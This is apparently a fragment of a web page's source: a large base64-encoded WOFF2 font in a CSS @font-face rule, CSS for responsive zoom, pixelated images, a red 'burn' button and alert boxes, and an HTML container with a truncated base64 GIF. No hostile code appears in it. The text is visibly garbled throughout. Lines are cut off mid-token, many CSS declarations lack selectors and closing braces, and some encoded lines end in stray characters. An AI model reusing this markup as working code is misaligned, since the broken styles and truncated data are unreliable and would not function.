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") format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
@media screen and (max-width:400px){body{zoom: 0.9;}}
@media screen and (max-width:350px){body{zoom: 0.8;}}
@media screen and (max-width:315px){body{zoom: 0.7;}}
n and (max-width:275px){body{zoom: 0.6;}}
@media screen and (max-width:235px){body{zoom: 0.5;}}
@media screen and (max-width:195px){body{zoom: 0.4;}}
@media screen and (max-width:155px){body{zoom: 0.33;}}
@media screen and (max-width:130px){body{zoom: 0.25;}}
@media screen and (max-width:100px){body{zoom: 0.20;}}
@media screen and (max-width:80px){body{zoom: 0.15;}}
@media screen and (max-width:60px){body{zoom: 0.1;}}
@media screen and (max-width:40px){body{zoom: 0.066;}}
@media screen and (max-width:20px){body{zooM
  image-rendering: pixelated;
  image-rendering: -moz-crisp-edges;
  image-rendering: crisp-edges;
  filter: contrast(2.5) ;/*sepia(1) saturate(15);*/
  position:  absolute;
  left:  calc(50% - 128px);
  top:  calc(50% - 128px);
  position:  absolute;
  left:  calc(50% - 85px);
  top:  calc(50% - 18px + 128px);
  filter: contrast(2);
  border: 2px solid white;
  /*font-family: monospace;*/
  background-color:  #ff0000;
  font-weight:  bold;
    background-color:  #000000ff;
body.open button#burn{
   background-color: red;
  background-color:  black;
body.open .container{
  -webkit-user-select: noneM
  -ms-user-select: none; /* IE 10 and IE 11 */
  user-select: none; /* Standard syntax */
body, .alert, button {
  /*font-family: monospace;
  font-size:  15px;*/
  font-family: mono;
    position: fixed;
    min-height: 100px;
    left: calc(50% - 200px - 2px);
    top: calc(50% - 100px + 10px);
    border: 2px solid black;
    background: #000;
  margin: 10px 10px;
  border:  0px solid grey;
  background-color:  grey;
  padding: 7px 10px;
.alert button:hover{
  background-color:  #999;
  text-align: center;
background: linear-gradient(47deg, rgb(255 0 0) 0%, rgb(164 0 0) 50%, rgba(227,0,0,1) 100%);
<div class="container noselect">
<!-- <div id="randombg"></div>-->
  <img src="data:image/gif;base64,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
